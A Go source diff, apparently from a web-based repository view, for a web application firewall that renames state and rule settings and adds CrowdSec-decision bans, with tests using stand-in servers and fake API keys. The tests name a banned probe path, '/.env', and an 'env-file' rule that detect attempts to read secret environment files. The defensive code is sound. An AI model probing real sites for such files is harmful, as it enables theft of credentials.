func TestBansWrittenOnceBansWriteDelayAfterABan(t *testing.T) { func TestBansWrittenOnceWriteDelayAfterABan(t *testing.T) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
dir := t.TempDir() dir := t.TempDir()
params := newParams(dir) params := newParams(dir)
params.BansWriteDelay = 10 * time.Second params.WriteDelay = 10 * time.Second
run(t, load(t, params).Run) run(t, load(t, params).Run)
// A second ban, made while the first waits to be written, puts the // A second ban, made while the first waits to be written, puts the
@@ -1317,19 +1318,19 @@ func TestBansWrittenOnceBansWriteDelayAfterABan(t *testing.T) {
// the second ban. The other files wait for the interval, an hour // the second ban. The other files wait for the interval, an hour
// away. // away.
removeFiles(t, dir, bansJSON) removeFiles(t, dir, bansJSON)
time.Sleep(params.BansWriteDelay) time.Sleep(params.WriteDelay)
synctest.Wait() synctest.Wait()
wantFiles(t, dir) wantFiles(t, dir)
}) })
} }
func TestEveryFileWrittenEveryWriteInterval(t *testing.T) { func TestEveryFileWrittenEveryCounterInterval(t *testing.T) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
dir := t.TempDir() dir := t.TempDir()
params := newParams(dir) params := newParams(dir)
params.WriteInterval = time.Minute params.CounterInterval = time.Minute
run(t, load(t, params).Run) run(t, load(t, params).Run)
// The files are removed once written, so that each interval shows // The files are removed once written, so that each interval shows
@@ -1353,21 +1354,21 @@ func TestEditJustBeforeAScheduledWriteSurvivesIt(t *testing.T) {
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
dir := t.TempDir() dir := t.TempDir()
params := newParams(dir) params := newParams(dir)
params.BansWriteDelay = 10 * time.Second params.WriteDelay = 10 * time.Second
run(t, load(t, params).Run) run(t, load(t, params).Run)
// A ban, and bans.json written with it. // A ban, and bans.json written with it.
params.Ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), params.Ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"),
midnight(), bans.Notes{}) midnight(), bans.Notes{})
time.Sleep(params.BansWriteDelay) time.Sleep(params.WriteDelay)
synctest.Wait() synctest.Wait()
// A second ban is to be written BansWriteDelay later. Just before // A second ban is to be written WriteDelay later. Just before
// then, an admin saves bans.json with the first ban lifted and // then, an admin saves bans.json with the first ban lifted and
// another added. // another added.
params.Ledger.BanForLimit(netip.MustParsePrefix("203.0.113.10/32"), params.Ledger.BanForLimit(netip.MustParsePrefix("203.0.113.10/32"),
midnight(), bans.Notes{}) midnight(), bans.Notes{})
time.Sleep(params.BansWriteDelay - time.Nanosecond) time.Sleep(params.WriteDelay - time.Nanosecond)
synctest.Wait() synctest.Wait()
edit(t, dir, bansJSON, permanentBansJSON) edit(t, dir, bansJSON, permanentBansJSON)
@@ -1398,7 +1399,7 @@ func TestWriteThatFailsWhileRunningRaisesAFileErrorAlertOncePerCooldown(
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
dir := t.TempDir() dir := t.TempDir()
params := newParams(dir) params := newParams(dir)
params.WriteInterval = time.Minute params.CounterInterval = time.Minute
run(t, load(t, params).Run) run(t, load(t, params).Run)
// A directory in the way of the temporary file of clients.json, a // A directory in the way of the temporary file of clients.json, a
@@ -2405,12 +2406,12 @@ func newParams(dir string) state.Params {
return state.Params{ return state.Params{
Dir: dir, Dir: dir,
CacheDir: dir, CacheDir: dir,
BansWriteDelay: time.Hour, WriteDelay: time.Hour,
WriteInterval: time.Hour, CounterInterval: time.Hour,
Ledger: bans.New(bans.Params{ Ledger: bans.New(bans.Params{
LimitBanDuration: time.Hour, LimitBanDuration: time.Hour,
LimitBanRepeatWindow: 24 * time.Hour, LimitBanRepeatWindow: 24 * time.Hour,
LimitBanPermanentAbove: 7 * 24 * time.Hour, MaxBanDuration: 7 * 24 * time.Hour,
AttackBanDuration: 7 * 24 * time.Hour, AttackBanDuration: 7 * 24 * time.Hour,
MaxBans: 5000, MaxBans: 5000,
}), }),
@@ -2446,7 +2447,7 @@ func newParams(dir string) state.Params {
RequestsPerMinute: 1000, RequestsPerMinute: 1000,
BytesPerMinute: 1 << 30, BytesPerMinute: 1 << 30,
}, },
WatchedNet: anomaly.Thresholds{RequestsPerHour: 1000}, Watch: anomaly.Thresholds{RequestsPerHour: 1000},
NetV4Prefix: 24, NetV4Prefix: 24,
NetV6Prefix: 48, NetV6Prefix: 48,
NamedNetblocks: []anomaly.NamedNetblock{ NamedNetblocks: []anomaly.NamedNetblock{
@@ -2465,8 +2466,9 @@ func office() netip.Prefix {
return netip.MustParsePrefix("203.0.113.0/24") return netip.MustParsePrefix("203.0.113.0/24")
} }
// fill puts a permanent ban an admin made, a ban for a broken limit and one // fill puts a permanent ban an admin made, a ban for a broken limit, one
// for a clear sign of attack, clients with counts and histories, // for a clear sign of attack and one for CrowdSec's decision, clients
// with counts and histories,
// GeoJS answers, the blocklists' last tries and the copy of one, two // GeoJS answers, the blocklists' last tries and the copy of one, two
// verdicts of a DNSBL zone, the AbuseIPDB checks spent today with two // verdicts of a DNSBL zone, the AbuseIPDB checks spent today with two
// scores, and two answers of routewatch, as filledListsJSON, // scores, and two answers of routewatch, as filledListsJSON,
@@ -2483,6 +2485,13 @@ func fill(params state.Params) {
}) })
params.Ledger.BanForAttack(netip.MustParsePrefix("192.0.2.1/32"), now, params.Ledger.BanForAttack(netip.MustParsePrefix("192.0.2.1/32"), now,
bans.Notes{RuleID: "env-file", Target: "path"}) bans.Notes{RuleID: "env-file", Target: "path"})
params.Ledger.BanForCrowdSec(
netip.MustParsePrefix("198.51.100.9/32"),
now,
now.Add(4*time.Hour),
"crowdsecurity/ssh-bf",
bans.Notes{},
)
for _, c := range []string{"2001:db8::/64", "203.0.113.9/32", "192.0.2.1/32"} { for _, c := range []string{"2001:db8::/64", "203.0.113.9/32", "192.0.2.1/32"} {
params.Limiter.Count(netip.MustParsePrefix(c), now, whole) params.Limiter.Count(netip.MustParsePrefix(c), now, whole)
@@ -2628,6 +2637,7 @@ func permanentBan() bans.Ban {
Limit: 3, Limit: 3,
Attack: 1, Attack: 1,
Admin: 1, Admin: 1,
CrowdSec: 2,
}, },
}, },
} }
internal/sww/healthcheck_test.go
+2 -7
View File
@@ -35,7 +35,7 @@ func TestHealthCheckInWAFsContainer(t *testing.T) {
settings := map[string]string{ settings := map[string]string{
listenAddr: localhost + ":0", listenAddr: localhost + ":0",
stateDir: t.TempDir(), stateDir: t.TempDir(),
ruleFilesDir: t.TempDir(), rulesDir: t.TempDir(),
} }
go func() { go func() {
@@ -120,12 +120,7 @@ func TestHealthCheckInRProxysContainer(t *testing.T) {
// Another setting does not fail it, even an invalid one, and neither does // Another setting does not fail it, even an invalid one, and neither does
// SWW_RPROXY_WAF_BACKEND being unset. // SWW_RPROXY_WAF_BACKEND being unset.
wantHealthCheck( wantHealthCheck(t, settings("SWW_RPROXY_TIMEOUT_MS", "soon"), 0, "")
t,
settings("SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS", "soon"),
0,
"",
)
// Another test can take a closed server's port at once, so the app's // Another test can take a closed server's port at once, so the app's
// address here is a multicast address, to which TCP cannot connect. // address here is a multicast address, to which TCP cannot connect.
internal/sww/rproxy.go
+4 -5
View File
@@ -15,11 +15,10 @@ import (
// RunRProxy is `sww rproxy`: it reads rproxy's settings, then serves // RunRProxy is `sww rproxy`: it reads rproxy's settings, then serves
// requests until ctx is done. Then it gives the requests in progress // requests until ctx is done. Then it gives the requests in progress
// shutdownTimeout to finish, and the reports being sent // shutdownTimeout to finish, and the reports being sent SWW_RPROXY_TIMEOUT_MS. It
// SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS. It returns the process's exit status, 1 // returns the process's exit status, 1 when rproxy cannot start. Its process
// when rproxy cannot start. Its process messages name the host's name as // messages name the host's name as instance, and it writes those at info or
// instance, and it writes those at info or more severe: rproxy has no // more severe: rproxy has no setting for either.
// setting for either.
func RunRProxy(ctx context.Context, params Params) int { func RunRProxy(ctx context.Context, params Params) int {
hostname, _ := os.Hostname() // "" when the host has no name to give hostname, _ := os.Hostname() // "" when the host has no name to give
processLog := requestlog.NewProcessLogger( processLog := requestlog.NewProcessLogger(
internal/sww/rproxy_test.go
+10 -11
View File
@@ -31,8 +31,8 @@ const (
rproxyListenAddr = "SWW_RPROXY_LISTEN_ADDR" rproxyListenAddr = "SWW_RPROXY_LISTEN_ADDR"
// rproxyUpstreamURL is the setting that says where the app is. // rproxyUpstreamURL is the setting that says where the app is.
rproxyUpstreamURL = "SWW_RPROXY_UPSTREAM_URL" rproxyUpstreamURL = "SWW_RPROXY_UPSTREAM_URL"
// wafBackendTimeout is the setting that says how long rproxy waits for waf. // rproxyTimeout is the setting that says how long rproxy waits for waf.
wafBackendTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS" rproxyTimeout = "SWW_RPROXY_TIMEOUT_MS"
// bannedProbe is a path the default rule file bans a client for. // bannedProbe is a path the default rule file bans a client for.
bannedProbe = "/.env" bannedProbe = "/.env"
// otherClient is a client the tests do not ban. // otherClient is a client the tests do not ban.
@@ -137,7 +137,7 @@ func wafSettings(t *testing.T) map[string]string {
return map[string]string{ return map[string]string{
listenAddr: localhost + ":0", listenAddr: localhost + ":0",
stateDir: t.TempDir(), stateDir: t.TempDir(),
ruleFilesDir: filepath.Join("..", "..", "share", "rules.d"), rulesDir: filepath.Join("..", "..", "share", "rules.d"),
} }
} }
@@ -241,13 +241,12 @@ func TestTheSiteAnswersWhileWAFIsStoppedAndStartedAgain(t *testing.T) {
forwardTo("") forwardTo("")
stop() stop()
// With waf down, the site answers, and rproxy says // With waf down, the site answers, and rproxy says the default did it.
// SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION did it.
wantStatus(t, site+"/after-stop", placed, http.StatusOK) wantStatus(t, site+"/after-stop", placed, http.StatusOK)
line := out.line(t, "path", "/after-stop") line := out.line(t, "path", "/after-stop")
if line["disposition"] != waf.DispositionAllow || if line["disposition"] != waf.DispositionAllow ||
line["waf_backend_no_answer"] != true { line["default_disposition"] != true {
t.Errorf("rproxy's line is %v", line) t.Errorf("rproxy's line is %v", line)
} }
@@ -476,7 +475,7 @@ func TestATargetThatCannotGoToWAFIsRefusedForABannedClient(t *testing.T) {
} }
line := out.line(t, "path", "admin") line := out.line(t, "path", "admin")
if line["disposition"] != nil || line["waf_backend_no_answer"] != nil { if line["disposition"] != nil || line["default_disposition"] != nil {
t.Errorf("rproxy's line is %v, want no disposition", line) t.Errorf("rproxy's line is %v, want no disposition", line)
} }
} }
@@ -497,7 +496,7 @@ func TestAClientWithAZoneIsTheClientWithout(t *testing.T) {
line := out.line(t, "path", bannedProbe) line := out.line(t, "path", bannedProbe)
if line["client_ip"] != "2001:db8::1" || if line["client_ip"] != "2001:db8::1" ||
line["waf_backend_no_answer"] != nil { line["default_disposition"] != nil {
t.Errorf("rproxy's line is %v", line) t.Errorf("rproxy's line is %v", line)
} }
} }
@@ -692,7 +691,7 @@ func TestRProxyStoppingWaitsForAReportBeingSent(t *testing.T) {
env := map[string]string{ env := map[string]string{
rproxyListenAddr: localhost + ":0", rproxyListenAddr: localhost + ":0",
"SWW_RPROXY_UPSTREAM_URL": startApp(t), "SWW_RPROXY_UPSTREAM_URL": startApp(t),
wafBackendTimeout: "60000", rproxyTimeout: "60000",
wafBackend: backend.URL, wafBackend: backend.URL,
} }
out := &output{} out := &output{}
@@ -856,8 +855,8 @@ func TestRProxyInvalidSettingStopsTheStart(t *testing.T) {
}{ }{
{"no backend", wafBackend, nil}, {"no backend", wafBackend, nil},
{ {
"another invalid", wafBackendTimeout, "another invalid", rproxyTimeout,
map[string]string{wafBackend: "http://waf:8080", wafBackendTimeout: "soon"}, map[string]string{wafBackend: "http://waf:8080", rproxyTimeout: "soon"},
}, },
} { } {
t.Run(tc.name, func(t *testing.T) { t.Run(tc.name, func(t *testing.T) {
internal/sww/sww.go
+11 -11
View File
@@ -116,7 +116,7 @@ func RunWAF(ctx context.Context, params Params) int {
processLog := requestlog.NewProcessLogger(params.Stdout, processLog := requestlog.NewProcessLogger(params.Stdout,
config.InstanceName(params.Viper), slog.LevelError) config.InstanceName(params.Viper), slog.LevelError)
cfg, err := config.WAFFromEnvironment(params.Viper) cfg, err := config.FromEnvironment(params.Viper)
if err != nil { if err != nil {
return cannotStart(processLog, "invalid setting", err) return cannotStart(processLog, "invalid setting", err)
} }
@@ -159,7 +159,7 @@ func RunWAF(ctx context.Context, params Params) int {
func runWAFWithSettings( func runWAFWithSettings(
ctx context.Context, ctx context.Context,
version string, version string,
cfg *config.WAF, cfg *config.Config,
stdout io.Writer, stdout io.Writer,
remote *remotelog.Sender, remote *remotelog.Sender,
processLog *slog.Logger, processLog *slog.Logger,
@@ -170,8 +170,8 @@ func runWAFWithSettings(
alertQueue := newAlertQueue(cfg, now, processLog) alertQueue := newAlertQueue(cfg, now, processLog)
ruleFiles, err := rules.Load(rules.Params{ ruleFiles, err := rules.Load(rules.Params{
Dir: cfg.RuleFilesDir, Dir: cfg.RulesDir,
Enabled: cfg.RuleFilesEnabled, Enabled: cfg.RulesEnabled,
ProcessLog: processLog, ProcessLog: processLog,
Alerts: alertQueue, Alerts: alertQueue,
}) })
@@ -246,7 +246,7 @@ func cannotStart(processLog *slog.Logger, message string, err error) int {
// after reading the lookup database while SWW_WAF_LOOKUP_SOURCE is file. A lookup // after reading the lookup database while SWW_WAF_LOOKUP_SOURCE is file. A lookup
// database that cannot be read is an error. // database that cannot be read is an error.
func newServer( func newServer(
cfg *config.WAF, stdout io.Writer, processLog *slog.Logger, cfg *config.Config, stdout io.Writer, processLog *slog.Logger,
now func() time.Time, ruleFiles *rules.Files, alertQueue *alerts.Queue, now func() time.Time, ruleFiles *rules.Files, alertQueue *alerts.Queue,
crs *coreruleset.CoreRuleSet, crs *coreruleset.CoreRuleSet,
) (*waf.Server, error) { ) (*waf.Server, error) {
@@ -293,14 +293,14 @@ func newServer(
// loadStateFiles reads the state and cache files into the parts of server and // loadStateFiles reads the state and cache files into the parts of server and
// into alertQueue, as state.Load does. // into alertQueue, as state.Load does.
func loadStateFiles( func loadStateFiles(
cfg *config.WAF, server *waf.Server, alertQueue *alerts.Queue, cfg *config.Config, server *waf.Server, alertQueue *alerts.Queue,
now func() time.Time, processLog *slog.Logger, now func() time.Time, processLog *slog.Logger,
) (*state.Files, error) { ) (*state.Files, error) {
return state.Load(state.Params{ return state.Load(state.Params{
Dir: cfg.StateDir, Dir: cfg.StateDir,
CacheDir: cfg.CacheDir, CacheDir: cfg.CacheDir,
BansWriteDelay: cfg.BansWriteDelay, WriteDelay: cfg.StateWriteDelay,
WriteInterval: cfg.StateWriteInterval, CounterInterval: cfg.StateCounterInterval,
Ledger: server.Ledger, Ledger: server.Ledger,
Limiter: server.Limiter, Limiter: server.Limiter,
GeoJS: server.GeoJS, GeoJS: server.GeoJS,
@@ -319,7 +319,7 @@ func loadStateFiles(
// newAlertQueue returns the queue of the alerts to the webhook, Slack and // newAlertQueue returns the queue of the alerts to the webhook, Slack and
// ntfy, with the settings for them. // ntfy, with the settings for them.
func newAlertQueue( func newAlertQueue(
cfg *config.WAF, now func() time.Time, processLog *slog.Logger, cfg *config.Config, now func() time.Time, processLog *slog.Logger,
) *alerts.Queue { ) *alerts.Queue {
return alerts.New(alerts.Params{ return alerts.New(alerts.Params{
WebhookURL: cfg.AlertWebhookURL, WebhookURL: cfg.AlertWebhookURL,
@@ -338,11 +338,11 @@ func newAlertQueue(
// newRemoteLogSender returns a sender of the log lines to // newRemoteLogSender returns a sender of the log lines to
// SWW_WAF_LOG_REMOTE_URL, with the settings for it. // SWW_WAF_LOG_REMOTE_URL, with the settings for it.
func newRemoteLogSender(cfg *config.WAF) *remotelog.Sender { func newRemoteLogSender(cfg *config.Config) *remotelog.Sender {
return remotelog.New(remotelog.Params{ return remotelog.New(remotelog.Params{
URL: cfg.LogRemoteURL, URL: cfg.LogRemoteURL,
RootCAs: cfg.LogRemoteTLSCAs, RootCAs: cfg.LogRemoteTLSCAs,
BufferLines: cfg.LogRemoteBufferLines, Buffer: cfg.LogRemoteBuffer,
Facility: cfg.LogRemoteFacility, Facility: cfg.LogRemoteFacility,
AppName: cfg.LogRemoteAppName, AppName: cfg.LogRemoteAppName,
}) })
internal/sww/sww_internal_test.go
+1 -1
View File
@@ -66,7 +66,7 @@ func stopHeldSender(t *testing.T, release time.Duration) time.Duration {
Scheme: remotelog.SchemeTCP, Scheme: remotelog.SchemeTCP,
Host: "127.0.0.1:65536", Host: "127.0.0.1:65536",
}, },
BufferLines: 1, Buffer: 1,
}) })
stopSending := startSending(t.Context(), sender, stopSending := startSending(t.Context(), sender,
internal/sww/sww_test.go
+125 -43
View File
@@ -37,12 +37,12 @@ const (
localhost = "127.0.0.1" localhost = "127.0.0.1"
listenAddr = "SWW_WAF_LISTEN_ADDR" listenAddr = "SWW_WAF_LISTEN_ADDR"
stateDir = "SWW_WAF_STATE_DIR" stateDir = "SWW_WAF_STATE_DIR"
bansWriteDelay = "SWW_WAF_BANS_WRITE_DELAY" stateWriteDelay = "SWW_WAF_STATE_WRITE_DELAY"
stateWriteInterval = "SWW_WAF_STATE_WRITE_INTERVAL" stateCounterInterval = "SWW_WAF_STATE_COUNTER_INTERVAL"
cacheDir = "SWW_WAF_CACHE_DIR" cacheDir = "SWW_WAF_CACHE_DIR"
rateLimitPerDay = "SWW_WAF_RATE_LIMIT_PER_DAY" rateLimitPerDay = "SWW_WAF_RATE_LIMIT_PER_DAY"
rateLimitExemptNets = "SWW_WAF_RATE_LIMIT_EXEMPT_NETS" rateLimitExemptNets = "SWW_WAF_RATE_LIMIT_EXEMPT_NETS"
ruleFilesDir = "SWW_WAF_RULE_FILES_DIR" rulesDir = "SWW_WAF_RULES_DIR"
lookupSource = "SWW_WAF_LOOKUP_SOURCE" lookupSource = "SWW_WAF_LOOKUP_SOURCE"
lookupDBPath = "SWW_WAF_LOOKUP_DB_PATH" lookupDBPath = "SWW_WAF_LOOKUP_DB_PATH"
instanceName = "SWW_WAF_INSTANCE_NAME" instanceName = "SWW_WAF_INSTANCE_NAME"
@@ -248,7 +248,7 @@ func TestAddressInUseStopsTheStart(t *testing.T) {
status := run(t.Context(), map[string]string{ status := run(t.Context(), map[string]string{
listenAddr: taken.Addr().String(), listenAddr: taken.Addr().String(),
stateDir: t.TempDir(), stateDir: t.TempDir(),
ruleFilesDir: t.TempDir(), rulesDir: t.TempDir(),
}, out) }, out)
if status != 1 { if status != 1 {
t.Errorf("exit status %d, want 1", status) t.Errorf("exit status %d, want 1", status)
@@ -270,7 +270,7 @@ func TestServesUntilToldToStop(t *testing.T) {
exited <- run(ctx, map[string]string{ exited <- run(ctx, map[string]string{
listenAddr: localhost + ":0", listenAddr: localhost + ":0",
stateDir: dir, stateDir: dir,
ruleFilesDir: filepath.Join("..", "..", "share", "rules.d"), rulesDir: filepath.Join("..", "..", "share", "rules.d"),
}, out) }, out)
}() }()
@@ -320,7 +320,7 @@ func TestLogLevelHoldsBackTheLessSevereProcessLines(t *testing.T) {
exited <- run(ctx, map[string]string{ exited <- run(ctx, map[string]string{
listenAddr: localhost + ":0", listenAddr: localhost + ":0",
stateDir: t.TempDir(), stateDir: t.TempDir(),
ruleFilesDir: t.TempDir(), rulesDir: t.TempDir(),
"SWW_WAF_BLOCKLIST_URLS": lists.URL + "/tor.txt", "SWW_WAF_BLOCKLIST_URLS": lists.URL + "/tor.txt",
"SWW_WAF_LOG_LEVEL": "warn", "SWW_WAF_LOG_LEVEL": "warn",
}, out) }, out)
@@ -361,7 +361,7 @@ func TestEveryLogLineAndMetricCarriesTheInstanceName(t *testing.T) {
env := map[string]string{ env := map[string]string{
listenAddr: localhost + ":0", listenAddr: localhost + ":0",
stateDir: t.TempDir(), stateDir: t.TempDir(),
ruleFilesDir: t.TempDir(), rulesDir: t.TempDir(),
metricsToken: token, metricsToken: token,
instanceName: instance, instanceName: instance,
} }
@@ -398,12 +398,12 @@ func TestStateKeptAcrossRestarts(t *testing.T) {
env := map[string]string{ env := map[string]string{
listenAddr: localhost + ":0", listenAddr: localhost + ":0",
stateDir: t.TempDir(), stateDir: t.TempDir(),
ruleFilesDir: t.TempDir(), rulesDir: t.TempDir(),
rateLimitPerDay: "2", rateLimitPerDay: "2",
// Neither comes due in the test: the files are written as // Neither comes due in the test: the files are written as
// sww stops. // sww stops.
bansWriteDelay: "1h", stateWriteDelay: "1h",
stateWriteInterval: "1h", stateCounterInterval: "1h",
} }
// The two requests a day allows, and a stop. // The two requests a day allows, and a stop.
@@ -434,7 +434,7 @@ func TestBanRefusesItsNetblockAfterARestartWithAnotherScope(t *testing.T) {
env := map[string]string{ env := map[string]string{
listenAddr: localhost + ":0", listenAddr: localhost + ":0",
stateDir: t.TempDir(), stateDir: t.TempDir(),
ruleFilesDir: t.TempDir(), rulesDir: t.TempDir(),
rateLimitPerDay: "1", rateLimitPerDay: "1",
scope: "24", scope: "24",
} }
@@ -480,11 +480,11 @@ func TestBanAddedAndLiftedByEditingBansJSON(t *testing.T) {
env := map[string]string{ env := map[string]string{
listenAddr: localhost + ":0", listenAddr: localhost + ":0",
stateDir: dir, stateDir: dir,
ruleFilesDir: t.TempDir(), rulesDir: t.TempDir(),
// No write comes due in the test, so only the watch on the // No write comes due in the test, so only the watch on the
// directory can take the edits in. // directory can take the edits in.
bansWriteDelay: "1h", stateWriteDelay: "1h",
stateWriteInterval: "1h", stateCounterInterval: "1h",
} }
runUntilStopped(t, env, func(url string) { runUntilStopped(t, env, func(url string) {
@@ -510,12 +510,12 @@ func TestBanAddedAndLiftedThroughTheEndpointsKeptInBansJSON(t *testing.T) {
env := map[string]string{ env := map[string]string{
listenAddr: localhost + ":0", listenAddr: localhost + ":0",
stateDir: dir, stateDir: dir,
ruleFilesDir: t.TempDir(), rulesDir: t.TempDir(),
adminToken: adminSecret, adminToken: adminSecret,
// Neither comes due in the test: the files are written as // Neither comes due in the test: the files are written as
// sww stops. // sww stops.
bansWriteDelay: "1h", stateWriteDelay: "1h",
stateWriteInterval: "1h", stateCounterInterval: "1h",
} }
runUntilStopped(t, env, func(url string) { runUntilStopped(t, env, func(url string) {
@@ -553,7 +553,7 @@ func TestRuleFileAddedWhileRunningTakesEffect(t *testing.T) {
env := map[string]string{ env := map[string]string{
listenAddr: localhost + ":0", listenAddr: localhost + ":0",
stateDir: t.TempDir(), stateDir: t.TempDir(),
ruleFilesDir: dir, rulesDir: dir,
// The requests sent until the rule takes effect must not break a // The requests sent until the rule takes effect must not break a
// rate limit, whose ban would refuse them too. // rate limit, whose ban would refuse them too.
"SWW_WAF_RATE_LIMIT_PER_MINUTE": "off", "SWW_WAF_RATE_LIMIT_PER_MINUTE": "off",
@@ -602,17 +602,13 @@ func TestRuleFileThatDoesNotParseStopsTheStart(t *testing.T) {
) )
} }
func TestRuleFilesDirThatDoesNotExistStopsTheStart(t *testing.T) { func TestRulesDirThatDoesNotExistStopsTheStart(t *testing.T) {
t.Parallel() t.Parallel()
dir := filepath.Join(t.TempDir(), "rules.d") dir := filepath.Join(t.TempDir(), "rules.d")
wantRulesRefused( wantRulesRefused(t, dir, "SWW_WAF_RULES_DIR cannot be read: open "+dir+
t, ": no such file or directory")
dir,
"SWW_WAF_RULE_FILES_DIR cannot be read: open "+dir+
": no such file or directory",
)
} }
func TestCoreRuleSetExclusionsFileThatCannotBeReadStopsTheStart( func TestCoreRuleSetExclusionsFileThatCannotBeReadStopsTheStart(
@@ -624,7 +620,7 @@ func TestCoreRuleSetExclusionsFileThatCannotBeReadStopsTheStart(
out := &output{} out := &output{}
status := run(t.Context(), map[string]string{ status := run(t.Context(), map[string]string{
listenAddr: localhost + ":0", stateDir: t.TempDir(), ruleFilesDir: t.TempDir(), listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: t.TempDir(),
"SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE": path, "SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE": path,
}, out) }, out)
if status != 1 { if status != 1 {
@@ -656,8 +652,8 @@ func TestCoreRuleSetExclusionsFileThatCannotBeUsedStopsTheStartWhileTheCoreRuleS
out := &output{} out := &output{}
status := run(t.Context(), map[string]string{ status := run(t.Context(), map[string]string{
listenAddr: localhost + ":0", stateDir: t.TempDir(), ruleFilesDir: t.TempDir(), listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: t.TempDir(),
"SWW_WAF_CORE_RULE_SET_MODE": config.CoreRuleSetModeOff, "SWW_WAF_CORE_RULE_SET_MODE": config.WAFModeOff,
"SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE": path, "SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE": path,
}, out) }, out)
if status != 1 { if status != 1 {
@@ -679,7 +675,7 @@ func TestLookupDatabaseReplacedWhileRunningTakesEffect(t *testing.T) {
env := map[string]string{ env := map[string]string{
listenAddr: localhost + ":0", listenAddr: localhost + ":0",
stateDir: t.TempDir(), stateDir: t.TempDir(),
ruleFilesDir: t.TempDir(), rulesDir: t.TempDir(),
metricsToken: token, metricsToken: token,
instanceName: instance, instanceName: instance,
lookupSource: "file", lookupSource: "file",
@@ -792,7 +788,7 @@ func TestBlocklistTriesAndCopiesKeptInListsJSONAcrossRestarts(t *testing.T) {
listenAddr: localhost + ":0", listenAddr: localhost + ":0",
stateDir: t.TempDir(), stateDir: t.TempDir(),
cacheDir: cache, cacheDir: cache,
ruleFilesDir: t.TempDir(), rulesDir: t.TempDir(),
metricsToken: token, metricsToken: token,
instanceName: instance, instanceName: instance,
"SWW_WAF_BLOCKLIST_URLS": torURL, "SWW_WAF_BLOCKLIST_URLS": torURL,
@@ -847,6 +843,92 @@ func TestBlocklistTriesAndCopiesKeptInListsJSONAcrossRestarts(t *testing.T) {
} }
} }
func TestCrowdSecDecisionListKeptInListsJSONAcrossARestart(t *testing.T) {
t.Parallel()
const bouncerKey = "crowdsec-key-0123456789abcdef"
// A stand-in for the engine's local API, which bans 203.0.113.0/24 for
// four hours, and answers only a request with its key, while it is up.
down := new(atomic.Bool)
engine := httptest.NewServer(http.HandlerFunc(
func(w http.ResponseWriter, r *http.Request) {
switch {
case r.URL.Path != "/v1/decisions" || r.Header.Get("X-Api-Key") != bouncerKey:
w.WriteHeader(http.StatusForbidden)
case down.Load():
w.WriteHeader(http.StatusServiceUnavailable)
default:
_, _ = io.WriteString(
w,
`[{"duration": "4h0m0s", "origin": "crowdsec", `+
`"scenario": "crowdsecurity/http-probing", "scope": "Range", `+
`"type": "ban", "value": "203.0.113.0/24"}]`,
)
}
}))
t.Cleanup(engine.Close)
dir, cache := t.TempDir(), t.TempDir()
env := map[string]string{
listenAddr: localhost + ":0",
stateDir: dir,
cacheDir: cache,
rulesDir: t.TempDir(),
"SWW_WAF_CROWDSEC_LAPI_URL": engine.URL,
"SWW_WAF_CROWDSEC_LAPI_KEY": bouncerKey,
}
// Once the list is fetched, the client's request bans it.
first := runUntilStopped(t, env, func(url string) {
for statusFrom(t, url, placed) != http.StatusForbidden {
time.Sleep(pollInterval)
}
})
ban := onlyBan(t, dir)
if ban["netblock"] != placed+"/32" || ban["cause"] != "crowdsec" ||
ban["reason"] != "CrowdSec's decision for crowdsecurity/http-probing" {
t.Errorf(
"bans.json holds %v, want the ban for crowdsec on %s",
ban,
placed,
)
}
// Restarted with the engine down, the copy kept in lists.json bans
// another client in the netblock from its first request.
down.Store(true)
second := runUntilStopped(t, env, func(url string) {
wantStatus(t, url, "203.0.113.10", http.StatusForbidden)
})
// The key is in neither run's output, nor in a state or cache file.
files := []string{
filepath.Join(dir, "bans.json"), filepath.Join(dir, "clients.json"),
filepath.Join(cache, "lists.json"),
}
shown := make([]string, 0, len(files)+2)
shown = append(shown, first.text(), second.text())
for _, path := range files {
data, err := os.ReadFile(path) //nolint:gosec // the test's
if err != nil {
t.Fatalf("read %s: %v", path, err)
}
shown = append(shown, string(data))
}
if all := strings.Join(shown, "\n"); strings.Contains(all, bouncerKey) {
t.Errorf(
"the key is shown in the output or the state and cache files:\n%s",
all,
)
}
}
// wantDeniedByList checks that the request log line is of a request the // wantDeniedByList checks that the request log line is of a request the
// blocklist at listURL refused. // blocklist at listURL refused.
func wantDeniedByList(t *testing.T, line map[string]any, listURL string) { func wantDeniedByList(t *testing.T, line map[string]any, listURL string) {
@@ -875,7 +957,7 @@ func TestLookupDatabaseThatCannotBeReadStopsTheStart(t *testing.T) {
out := &output{} out := &output{}
status := run(ctx, map[string]string{ status := run(ctx, map[string]string{
listenAddr: localhost + ":0", stateDir: t.TempDir(), ruleFilesDir: t.TempDir(), listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: t.TempDir(),
lookupSource: "file", lookupDBPath: path, lookupSource: "file", lookupDBPath: path,
}, out) }, out)
if status != 1 { if status != 1 {
@@ -910,7 +992,7 @@ func TestEveryLineIsAlsoSentToTheRemoteLogEndpoint(t *testing.T) {
env := map[string]string{ env := map[string]string{
listenAddr: localhost + ":0", listenAddr: localhost + ":0",
stateDir: t.TempDir(), stateDir: t.TempDir(),
ruleFilesDir: t.TempDir(), rulesDir: t.TempDir(),
"SWW_WAF_LOG_REMOTE_URL": "syslog+tcp://" + endpoint.Addr().String(), "SWW_WAF_LOG_REMOTE_URL": "syslog+tcp://" + endpoint.Addr().String(),
} }
@@ -969,10 +1051,10 @@ func TestStalledRemoteLogEndpointHoldsUpNoRequest(t *testing.T) {
env := map[string]string{ env := map[string]string{
listenAddr: localhost + ":0", listenAddr: localhost + ":0",
stateDir: t.TempDir(), stateDir: t.TempDir(),
